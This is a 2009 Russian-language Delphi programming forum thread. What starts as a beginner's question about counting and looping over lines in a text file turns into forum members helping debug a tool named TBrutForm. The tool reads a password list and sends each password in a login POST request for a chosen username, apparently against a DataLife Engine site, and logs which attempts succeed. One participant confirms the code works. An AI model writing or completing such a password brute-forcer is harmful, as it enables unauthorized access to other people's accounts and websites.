[Delphi] Помогите с .txt файлом

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Kandi, 18 Dec 2009.

  1. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Привет всем) народ помогите разобраться с text файлами...интересует меня собственно 2 вопроса:

    1. Как мне посчитать строки в .txt файле при его открытие, ну и собственно нужно, чтобы кол-во вывелось куда нить...пофиг куда) главное пример!?

    2. Как отпарсить первую строку, затем подставить её в скрипт, затем отпарсить вторую строку и опять же подставить её в скрипт, ну и собственно так до последней строки!

    Прошу помочь, оч нуно :rolleyes:
     
  2. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Code:
    Stroki:TStringList;
    
    Stroki:=TStringList.Create;
    Stroki.LoadFromFile('file.txt');
    
    Stroki.Count - количество строк

    нельзя, не видя строки примера, сказать, как парсить, чтобы что-то из нее получить.
    а вообще используй Pos и Copy
     
  3. AlexTheC0d3r

    AlexTheC0d3r Elder - Старейшина

    Joined:
    25 Jul 2008
    Messages:
    388
    Likes Received:
    179
    Reputations:
    18
    возможно под словом "парсить" он имел ввиду совсем другое, т.е. обычный цикл перебора строк...

    Code:
    var i:integer;
    begin
    for i:=0 to stroki.count-1 do  // если не ошибаюсь, нумерация строк Tstringlist начинается с 0, если все-таки ошибаюсь, то замени 0 на 1, и -1 убери...
    begin
    {
    тут код.... обращаться к текущей строке stroki[i].text; - выведет текст текущей строки...
    }
    end;
    end;
    
     
  4. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Спасибо, попробовал, но возникло "НО" вот делаю такой код:
    Code:
    procedure TForm1.Button1Click(Sender: TObject);
    var
     Stroki:TStringList;
    begin
     Stroki:=TStringList.Create;
     Stroki.LoadFromFile('D:\filename.txt');
     Label1.Caption := Stroki.Count;
    end;
    
    Ругаеться на :
    Code:
     Label1.Caption := Stroki.Count;
    
    Понимаю, что это совсем не годиться, ну тогда подскажите куда это значение можно вывести) желательно на Label.Caption! :(

    В чем моя ошибка? еще вопрос по поводу счета строк, мне надо что бы при открытие файла т.е. я открываю файл через OpenDialog1 текстовый и мне сразу считывается кол-во строк...подскажите как лучше прикрепить?
    вот код на OpenDialog1:

    Code:
    procedure TBrutForm.LoadButtonClick(Sender: TObject);
    begin
     Open1.InitialDir := GetCurrentDir;
    if
     Open1.Execute
    then
     Password.Text := Open1.FileName                              
    else
     ShowMessage('Файл не выбран!');
    end;
    
    Подскажите, как прикрутить подсчет строк к этому?
    P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...
     
  5. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Ошибка, потому что Label1.Caption типа string, а Stroki.Count типа integer.
    Надо:

    Code:
    Label1.Caption := IntToStr(Stroki.Count);
    Чтобы при открытии сразу количество строк выводилось, то вот так:

    Code:
    procedure TBrutForm.LoadButtonClick(Sender: TObject);
    begin
     Open1.InitialDir := GetCurrentDir;
    if
     Open1.Execute
    then
     begin
      Password.Text := Open1.FileName;
      Stroki:=TStringList.Create;
      Stroki.LoadFromFile(Open1.FileName); 
      Label1.Caption := IntToStr(Stroki.Count);
     end                            
    else
     ShowMessage('Файл не выбран!');
    end;
    
    Подскажите, как прикрутить подсчет строк к этому?
    P.S. Извиняюсь за глупые вопросы, просто занимаюсь Delphi недавно...[/QUOTE]
     
  6. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Ох Вы мой спаситель :rolleyes:
    Спасибо Вам огромное за помощь... :)

    Может Вы мне подскажите как сделать так, что бы вытаскивалась строка из файла вставлялась в PassEdit.text например или в какую нить процедуру и так процедура это длилась пока не закончатся строки...хотя бы небольшой пример.
     
  7. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Вот сделал такую процедуру:
    Code:
    procedure TBrutForm.StartButtonClick(Sender: TObject);
    var
      Http  : TidHttp;
      CM    : TidCookieManager;
      Data  : TStringList;
      StrPage, UserID,  UserName  :  String;
      Str1 : TStringList;
      i : Integer;
    begin
      Str1:=TStringList.Create;
      Str1.LoadFromFile(Open1.FileName);
    begin
    for i:=0 to str1.count-1 do
      try
        Http := TIdHTTP.Create(Self);
        Data := TStringList.Create;
        CM := TidCookieManager.Create(Http);
        Http.AllowCookies := true;
        Http.CookieManager := CM;
        Http.HandleRedirects := true;
    
        Http.Request.Host:=HostEdit.Text;
        Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
        Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
        Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
        Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
        Http.Request.Referer:=RefererEdit.Text;
    
        Data.Add('subaction=dologin');
        Data.Add('username='+NickEdit.Text);
        Data.Add('password='+Str1[i].Text);
        Data.Add('selected_language='+BoxLanguage.Text);
        StrPage := Http.Post(HTTPEdit.Text, Data);
      finally
        Data.Free;
        CM.Free;
        Http.Free;
        Str1.Free;
      end;
    
      if Pos('Engine:</td',StrPage) <> 0 then
        ShowMessage('Поздравляем авторизация прошла успешно!')
      else
        ShowMessage('Авторизация провалилась.'+#13#10+'Возможно вы ввели не правильный пароль или имя!'+#13#10+'Проверьте их и попробуйте снова!');
    end;
    
    Но выдаёт ошибку тут:
    Code:
        Data.Add('password='+Str1[i].Text);
    
    Ругаеться на +Str1.Text
    В чем я ошибся, подскажите плз! :(
     
  8. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Ошибка в том, что обращение к конкретной строке в списке делается просто Str1, где i - номер строки. Никакого Text не надо.
    Остальное вроде всё верно на первый взгляд)
     
    1 person likes this.
  9. wolmer

    wolmer Member

    Joined:
    12 May 2009
    Messages:
    438
    Likes Received:
    97
    Reputations:
    9

    Конкретно не сталкивался с таким выбором строки, но я делаю так когда нужно показать отдельную какую либо строку:
    str1.strings
     
  10. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0


    исправил вроде заработало) только если в файле 1 пасс то норм логинится, если он правильный а вот если два то прога виснет) подскажите, что сделать, что бы сначало пробовал первый пасс потом второй потом третий... и т.д.? есть примерные идеи? :confused:
     
  11. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    у вас идет освобождение списка:

    вынесите это за цикл for
     
  12. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Вот так? всё ровно ругается... :(

    Code:
    procedure TBrutForm.StartButtonClick(Sender: TObject);
    var
      Http  : TidHttp;
      CM    : TidCookieManager;
      Data  : TStringList;
      StrPage, UserID,  UserName  :  String;
      Str1 : TStringList;
      i : Integer;
    begin
      Str1:=TStringList.Create;
      Str1.LoadFromFile(Open1.FileName);
    begin
    for i:=0 to str1.count-1 do
      try
        Http := TIdHTTP.Create(Self);
        Data := TStringList.Create;
        CM := TidCookieManager.Create(Http);
        Http.AllowCookies := true;
        Http.CookieManager := CM;
        Http.HandleRedirects := true;
    
        Http.Request.Host:=HostEdit.Text;
        Http.Request.UserAgent:='Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 WebMoney Advisor';
        Http.Request.Accept:='text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
        Http.Request.AcceptLanguage:='ru,en-us;q=0.7,en;q=0.3';
        Http.Request.AcceptCharSet:='windows-1251,utf-8;q=0.7,*;q=0.7';
        Http.Request.Referer:=RefererEdit.Text;
    
        Data.Add('subaction=dologin');
        Data.Add('username='+NickEdit.Text);
        Data.Add('password='+Str1[i]);
        Data.Add('selected_language='+BoxLanguage.Text);
        StrPage := Http.Post(HTTPEdit.Text, Data);
      finally
        Data.Free;
        CM.Free;
        Http.Free;
      end;
    
      if Pos('Engine:</td',StrPage) <> 0 then
        MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
      else
        MemoLog.Lines.Add('Авторизация под паролем' +Str1[i]+ 'не получилась!');
    end;
    [COLOR=Red]Str1.Free;[/COLOR]
    end;
    
    или за

    Code:
      finally
        Data.Free;
        CM.Free;
        Http.Free;
      end;
    [COLOR=Red]Str1.Free;[/COLOR]
    
      if Pos('Engine:</td',StrPage) <> 0 then
        MemoLog.Lines.Add('Авторизовался под паролем '+Str1[i])
      else
    
    по-моему второй вариант? :confused:
    всё ровно виснет если два пароля :\
     
  13. AlexTheC0d3r

    AlexTheC0d3r Elder - Старейшина

    Joined:
    25 Jul 2008
    Messages:
    388
    Likes Received:
    179
    Reputations:
    18
    надо ждать пока залогиниться и проверять это в цикле, далее если залогинился, неправильный пароль, то берешь следущий...

    функция того компонента, который используешь должна называться что-то вроде LoggedON
    и иметь тип булевая
     
  14. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    жесть, Kandi если ты настолько плохо понимаешь что делает "твой" код - что незнаешь куда приткнуть команду, лучше доверь написание программы более компетентному человеку)))
    бред =)

    код проверил - все пашет (с tIdAntiFreeze)
    разумеется если

     
  15. Kandi

    Kandi Member

    Joined:
    18 Nov 2009
    Messages:
    344
    Likes Received:
    17
    Reputations:
    0
    Я привык учиться сам.... а купить, что то можно всегда!

    Что у тебя работает расскажи? цикл подбора паролей?
     
  16. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    ты запутался в терминологии: "учиться" и "копипастить" - разные слова)))
    код работает (post-запросы проходят, параметры передаются, все работает)
     
  17. marcos

    marcos New Member

    Joined:
    8 Nov 2009
    Messages:
    111
    Likes Received:
    1
    Reputations:
    -5
    В Делфи можно организовать цикл:
    Code:
    while not EOF do
    begin
    end;
    
    Вроде так
     
  18. AlexTheC0d3r

    AlexTheC0d3r Elder - Старейшина

    Joined:
    25 Jul 2008
    Messages:
    388
    Likes Received:
    179
    Reputations:
    18
    совсем не бред, если программа с максимально возможной скоростью пытается залогиниться в 1 поток используя все пароли в текстовом файле, не дожидаясь ответа от сервера...
     
  19. AlexTheC0d3r

    AlexTheC0d3r Elder - Старейшина

    Joined:
    25 Jul 2008
    Messages:
    388
    Likes Received:
    179
    Reputations:
    18
    после перехода на Delphi и соответственно появления TStringList, отпала такая необходимость использовать такое как rewrite(); reset(); readln(); writeln(); eof(); и т.д.
     
  20. Markus_13

    Markus_13 Member

    Joined:
    19 Feb 2009
    Messages:
    74
    Likes Received:
    19
    Reputations:
    0
    опять бред - во1ых речь не про потоки, во2ых первый раз слышу про "функцию IdHttp что-то вроде LoggedON"))
    при запросе IdHttp приостанавливает выполнение программы до получения ответа сервера, если же использовать TIdAntiFreeze - это позволит убрать подвисания интерфейса